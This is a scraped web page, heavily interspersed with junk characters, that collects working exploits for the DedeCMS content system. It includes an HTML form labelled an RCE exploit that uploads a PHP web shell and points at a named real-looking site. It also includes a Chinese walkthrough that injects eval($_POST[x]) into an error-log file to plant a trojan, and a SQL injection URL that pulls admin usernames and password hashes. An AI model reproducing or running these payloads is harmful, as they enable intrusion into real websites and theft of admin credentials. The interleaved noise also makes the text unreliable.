</head>5 w) W( ?( f% O
<body style="FONT-SIZE: 9pt">
- j8 p$ j& A7 N- [) y0 T/ w0 O" t---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
3 {; z( u" N& R- T3 _3 [$ O<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>7 i9 c% K. n! L: t) r6 F* e u
<input type='hidden' name='activepath' value='/data/cache/' />4 t! W5 h1 P2 b9 r
<input type='hidden' name='cfg_basedir' value='../../' /> L# p# W! I2 X: R1 J) M; z
<input type='hidden' name='cfg_imgtype' value='php' />
8 I# |2 p6 z7 |2 Z% O5 q! R9 k<input type='hidden' name='cfg_not_allowall' value='txt' />
$ H' ^4 B1 C* k<input type='hidden' name='cfg_softtype' value='php' />! W7 \/ D3 g' K) x# I) ^$ v
<input type='hidden' name='cfg_mediatype' value='php' />3 S0 W8 x% F3 [
<input type='hidden' name='f' value='form1.enclosure' /> L1 A5 y! q% T: n$ O* i
<input type='hidden' name='job' value='upload' />
* }3 {" J& W' l4 v+ V: p- P9 E6 I<input type='hidden' name='newname' value='fly.php' />+ F* v0 R0 T" T2 ]! T' V& Z
Select U Shell <input type='file' name='uploadfile' size='25' />
* v5 ^6 S0 R$ m) W4 T$ t/ J<input type='submit' name='sb1' value='确定' />
, I% a/ A- U5 L; t</form>$ b7 e. n' T n1 Q$ G
<br />It's just a exp for the bug of Dedecms V55...<br />
' M1 M" i4 f+ ?2 R. ANeed register_globals = on...<br />3 p4 J* T8 v+ h6 L
Fun the game,get a webshell at /data/cache/fly.php...<br />: J5 {# ?) l6 Y+ [* P$ }
</body>
# X- [: [, a9 Q2 `</html>
( X* ?7 K: r: _/ {
v# @7 M+ _8 \ E' e) c5 j! V$ F! A) l2 c( D+ {
/ S6 ]3 q Z3 }# c* X. V
# |& ^/ R$ ~% a
- f/ W9 F) M$ m
5 ^3 i0 c# M/ | g5 G
, S7 S6 [" h- Z
9 r+ u1 H! Q$ R& F3 h6 |- X
0 x/ K& k( q% H% x
/ {8 @7 I3 Y+ a& a8 \织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞- s: [9 r9 w" p, c
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。* z- h8 v& N+ t4 i
1. 访问网址:
! I( _2 ~% g( M+ P5 N0 Hhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>; q; }3 w7 v+ \+ d P" }
可看见错误信息
4 V1 n& C2 S- v9 a. v7 w# z
- X% q- L7 j0 M1 A6 k- X
# w- J, j; S& ~2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。0 R K4 W1 D" o$ o6 n& ? X
int(3) Error: Illegal double '1024e1024' value found during parsing0 n5 g: o- _) U' B4 _% G% B+ n
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>+ K& k8 [9 f' [3 h' I
" N7 m1 g0 E% m- X5 T
1 ^% g9 V$ U3 a: |6 h( O& y3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是
1 h7 e0 y$ @! k% S$ j& f& S
: H) i% f+ H4 D; f9 p
5 G$ o- W( l( o3 ?9 J3 B<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
; v' v) r/ m: E' G& v* t" c, ~6 E9 J$ y: B
4 |' W3 \1 x& \+ E4 k# t按确定后的看到第2步骤的信息表示文件木马上传成功.% ?5 ]) [4 [# U: x9 ?5 |
% }$ S) t8 H6 C6 J2 C( K/ ~3 B5 M& ~5 J
' `( p( M- K& s- g, \! _7 w; A' `. S( p. i5 Q' X5 I. u( v
/ \- |( F4 N! e
& ^/ V3 ?2 e2 r( y' a$ |; e* [
$ W6 x% i3 w- g9 u8 q1 t9 q- U# j. M
, ]' s) H3 ]5 Z. E& M
; r; R: r: F: n" q: C! b$ h0 z) i" [' S$ ]6 g' ^) z9 Q6 v
3 h, Z5 E+ B, u& Z: f$ k% [ `' ~! ^
* u5 n6 t( z& m$ v$ d- c
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
& F3 |% P5 ?5 M0 J# m: Q1 Jhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/* |
|